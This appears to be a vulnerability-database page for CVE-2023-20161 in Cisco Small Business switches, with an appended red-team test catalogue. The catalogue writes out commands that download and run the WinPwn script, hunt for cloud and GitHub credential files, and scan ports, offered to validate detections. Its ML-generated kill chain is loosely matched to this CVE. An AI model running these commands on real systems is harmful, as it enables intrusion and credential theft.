CVE-2023-20161

CRITICAL Pub 18/05 Upd 28/10

Overview

The vulnerability arises from improper validation of HTTP requests processed by the web-based user interface of Cisco Small Business Smart and Managed Switches. Specifically, the web interface fails to correctly sanitize and verify incoming parameters, leading to memory corruption issues. This flaw resides within the firmware components handling web requests on affected switch models, enabling exploitation through crafted network packets targeting the management interface.

Vulnerability Description

Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with root-level privileges or cause a denial of service on affected Cisco Small Business switches. No authentication or user interaction is required, and the attack can be conducted over the network via the device's web management interface. This enables full control over the device, potentially disrupting network operations or allowing lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H) confirms network attackability without privileges or user interaction, with high impact on availability.

Solution

Cisco has released firmware updates addressing these vulnerabilities for affected Small Business Smart and Managed Switches, as detailed in their security advisory (cisco-sa-sg-web-multi-S9g4Nkgv). Administrators should apply the latest firmware versions corresponding to their switch models, such as those for the Business 250 series. The advisory provides explicit patch versions and upgrade instructions. No alternative workarounds are specified, so timely application of vendor-released patches is essential.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the web-based user interface of certain Cisco Small Business Series Switches arises from improper validation of requests sent to the interface. This flaw allows an unauthenticated, remote attacker to potentially execute arbitrary code with root privileges or induce a denial of service (DoS) condition on the affected devices. The underlying issue stems from the way the switches handle incoming requests, which can be exploited by crafting malicious inputs that bypass the expected validation checks. This could lead to unauthorized access and control over the device, resulting in severe operational disruptions or unauthorized data manipulation.

Attack vectors for this vulnerability are particularly concerning due to the remote and unauthenticated nature of the exploit. An attacker could leverage this flaw by sending specially crafted HTTP requests to the web interface of the affected switches. Given that these devices are often deployed in business environments to manage network traffic, the potential for exploitation is significant. Scenarios could include an attacker causing a DoS condition, which would render the network infrastructure inoperable, or executing arbitrary code that could lead to further network compromise, data exfiltration, or lateral movement within the organization’s network.

The real-world impact of this vulnerability poses substantial business risks. Organizations relying on these switches for network management may face prolonged downtime if a successful attack occurs, leading to loss of productivity and potential revenue. Additionally, if an attacker gains root access, they could manipulate network configurations, intercept sensitive data, or deploy malware across the network. The reputational damage from such incidents could also be significant, particularly for businesses that handle sensitive customer information or operate in regulated industries. The financial implications of recovery efforts, legal liabilities, and regulatory fines could further exacerbate the situation.

To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as vendors often release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, allowing for timely responses to potential threats. Additionally, employing intrusion detection systems (IDS) can enhance visibility into network activity, enabling organizations to detect exploitation attempts in real-time. Access controls should also be enforced to limit exposure to the web interface, ensuring that only authorized personnel can interact with the management features of the switches.

In conclusion, the vulnerabilities present in the web-based user interface of Cisco Small Business Series Switches represent a critical security concern that requires immediate attention from organizations utilizing these devices. The potential for remote exploitation without authentication poses a significant threat to network integrity and operational continuity. By adopting proactive detection and mitigation strategies, organizations can safeguard their networks against these vulnerabilities, ultimately reducing the risk of exploitation and its associated consequences.

Affected Products (229)

Vendor Product Version CPE
cisco Cisco Business 250-16p-2g Firmware N/A cpe:2.3:o:cisco:business_250-16p-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-16t-2g Firmware N/A cpe:2.3:o:cisco:business_250-16t-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24fp-4g Firmware N/A cpe:2.3:o:cisco:business_250-24fp-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24fp-4x Firmware N/A cpe:2.3:o:cisco:business_250-24fp-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24p-4g Firmware N/A cpe:2.3:o:cisco:business_250-24p-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24p-4x Firmware N/A cpe:2.3:o:cisco:business_250-24p-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24pp-4g Firmware N/A cpe:2.3:o:cisco:business_250-24pp-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24t-4g Firmware N/A cpe:2.3:o:cisco:business_250-24t-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24t-4x Firmware N/A cpe:2.3:o:cisco:business_250-24t-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48p-4g Firmware N/A cpe:2.3:o:cisco:business_250-48p-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48p-4x Firmware N/A cpe:2.3:o:cisco:business_250-48p-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48pp-4g Firmware N/A cpe:2.3:o:cisco:business_250-48pp-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48t-4g Firmware N/A cpe:2.3:o:cisco:business_250-48t-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48t-4x Firmware N/A cpe:2.3:o:cisco:business_250-48t-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8fp-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8fp-e-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8p-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8p-e-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8pp-D Firmware N/A cpe:2.3:o:cisco:business_250-8pp-d_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8pp-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8pp-e-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8t-D Firmware N/A cpe:2.3:o:cisco:business_250-8t-d_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8t-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8t-e-2g_firmware:-:*:*:*:*:*:*:*
+209 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Improper Input Validation
65% input_validation
OS Command Injection
62% command_injection
Remote Code Execution
47% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-44 Overflow Binary Resource File
50%
High Very High
CAPEC-14 Client-side Injection-induced Buffer Overflow
48%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
48%
High High
CAPEC-92 Forced Integer Overflow
47%
High High
CAPEC-100 Overflow Buffers
42%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-20161
sec.cloudapps.cisco.com
GitHub CVE vendor-advisory
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv